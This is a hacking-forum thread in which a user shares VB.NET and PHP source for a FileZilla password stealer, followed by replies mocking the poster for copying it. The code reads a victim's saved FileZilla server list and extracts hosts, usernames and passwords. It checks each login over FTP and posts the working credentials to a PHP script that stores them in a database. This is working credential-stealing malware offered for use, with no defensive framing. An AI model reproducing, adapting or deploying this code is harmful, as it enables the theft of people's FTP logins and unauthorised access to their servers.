+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Filezilla Password Stealer[PHP & VB.NET] SOURCE (/showthread.php?tid=3829866)
Filezilla Password Stealer[PHP & VB.NET] SOURCE - onlinemutex - Oct 27, 2013
I have been busy for several weeks and when i got bored after so long time. i tried to integrate vb.net with php. here is the unfinished result. it works but its not complete yet.
but just wanted to share with you guys. hope you guys can come up with better ideas.
👍
credits:
https://hackforums.net/showthread.php?tid=2168900
VB.NET code
PHP Code
<?php
Imports System.Net
Imports System.Text
Imports System.IO
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
getfilezilla()
End Sub
Sub getfilezilla()
Dim XMLDOC As New System.Xml.XmlDocument
Dim MyPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\FileZilla\recentservers.xml"
XMLDOC.Load(MyPath)
Dim XMLPath As Xml.XmlElement
XMLPath = XMLDOC.SelectSingleNode("//Server")
Dim host As String
Dim port As String
Dim user As String
Dim pass As String
Dim Servers As Integer
Servers = XMLDOC.GetElementsByTagName("Server").Count
Dim i As Integer = 0
Dim Output As String = ""
Try
Do Until i = Servers
i += 1
Output += _
"Server: " & i & Environment.NewLine & _
" Host: " & XMLPath.Item("Host").InnerText & Environment.NewLine & _
" Port: " & XMLPath.Item("Port").InnerText & Environment.NewLine & _
" User: " & XMLPath.Item("User").InnerText & Environment.NewLine & _
" Pass: " & XMLPath.Item("Pass").InnerText & Environment.NewLine & Environment.NewLine
host = XMLPath.Item("Host").InnerText
port = XMLPath.Item("Port").InnerText
user = XMLPath.Item("User").InnerText
pass = XMLPath.Item("Pass").InnerText
test(host, user, pass)
If i < Servers Then XMLPath = XMLDOC.SelectSingleNode("//Server").NextSibling
Loop
Catch ex As Exception
End Try
End Sub
Sub test(ByVal host, ByVal user, ByVal pass)
Dim request = _
DirectCast(WebRequest.Create _
("ftp://" & host), FtpWebRequest)
request.Credentials = _
New NetworkCredential(user.ToString, pass.ToString)
request.Method = WebRequestMethods.Ftp.ListDirectory
Using response As FtpWebResponse = _
DirectCast(request.GetResponse(), FtpWebResponse)
post(host, user, pass)
End Using
End Sub
Sub post(ByVal host, ByVal user, ByVal pass)
Dim websiteurl As String
websiteurl = "http://localhost/test/index.php"
Dim postData = "host=" & host & "&" & "user=" & user & "&" & "pass=" & pass
Dim request As WebRequest = WebRequest.Create(websiteurl)
request.Method = "POST"
Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = byteArray.Length
Dim dataStream As Stream = request.GetRequestStream()
dataStream.Write(byteArray, 0, byteArray.Length)
dataStream.Close()
MsgBox("Done")
End Sub
End Class
PHP Code
<?php
$hostname = "localhost";
$username = "root";
$password = "";
try {
$conn = new PDO("mysql:host=$hostname;dbname=brain", $username, $password);
}
catch(PDOException $e)
{
echo $e->getMessage();
}
?>PHP Code
<?php
include("db.php");
define("ENCRYPTION_KEY", "!$#)(@#$%%%^^^%&(&!@$#$%)&*)(*&^^&$@#%^$%^&^&*");
echo $encrypted = encrypt($string, ENCRYPTION_KEY);
echo "<br />";
echo $decrypted = decrypt($encrypted, ENCRYPTION_KEY);
/**
* Returns an encrypted & utf8-encoded
*/
function encrypt($sValue, $sSecretKey)
{
return rtrim(
base64_encode(
mcrypt_encrypt(
MCRYPT_RIJNDAEL_256,
$sSecretKey, $sValue,
MCRYPT_MODE_ECB,
mcrypt_create_iv(
mcrypt_get_iv_size(
MCRYPT_RIJNDAEL_256,
MCRYPT_MODE_ECB
),
MCRYPT_RAND)
)
), "\0"
);
}
function decrypt($sValue, $sSecretKey)
{
return rtrim(
mcrypt_decrypt(
MCRYPT_RIJNDAEL_256,
$sSecretKey,
base64_decode($sValue),
MCRYPT_MODE_ECB,
mcrypt_create_iv(
mcrypt_get_iv_size(
MCRYPT_RIJNDAEL_256,
MCRYPT_MODE_ECB
),
MCRYPT_RAND
)
), "\0"
);
}
if (isset($_POST['host'],$_POST['user'],$_POST['pass']))
{
$host = encrypt($_POST['host'],ENCRYPTION_KEY);
$user = encrypt($_POST['user'],ENCRYPTION_KEY);
$pass = encrypt($_POST['pass'],ENCRYPTION_KEY);
$sqlinsert = "INSERT INTO filezilla (host,user,pass) VALUES (:host,:user,:pass)";
$q = $conn->prepare($sqlinsert);
$q->execute(array(':host'=>$host,
':user'=>$user,
':pass'=>$pass));
}
?>* - tweety - Oct 27, 2013
Give some credits. You didn't write this yourself at all.
https://hackforums.net/showthread.php?tid=2168900
http://ljuska.org/viewtopic.php?t=15304&p=112906
* - Vexane - Oct 29, 2013
(Oct 27, 2013 12:28 PM)Tweety. Wrote: Give some credits. You didn't write this yourself at all.
https://hackforums.net/showthread.php?tid=2168900
http://ljuska.org/viewtopic.php?t=15304&p=112906
I love when these posts get 'caught'.
It's kinda funny to think that 60% of
the world has access to Google
(I made up those statistics, so don't
quote me on them; literally)
* - ChewBox - Oct 29, 2013
(Oct 29, 2013 09:19 PM)๖ۣۜVarosion Wrote: I love when these posts get 'caught'.
It's kinda funny to think that 60% of
the world has access to Google
(I made up those statistics, so don't
quote me on them; literally)
Makes post about people using Google, doesn't use Google..
;)
* - BlackLayer - Oct 30, 2013
Stop trolling spam threads copy/paste.
* - Lambasoft - Oct 30, 2013
(Oct 29, 2013 09:23 PM)ChewBox Wrote: Makes post about people using Google, doesn't use Google..
;)
HAHA !
This made me lol ;p
[color=#33][/color]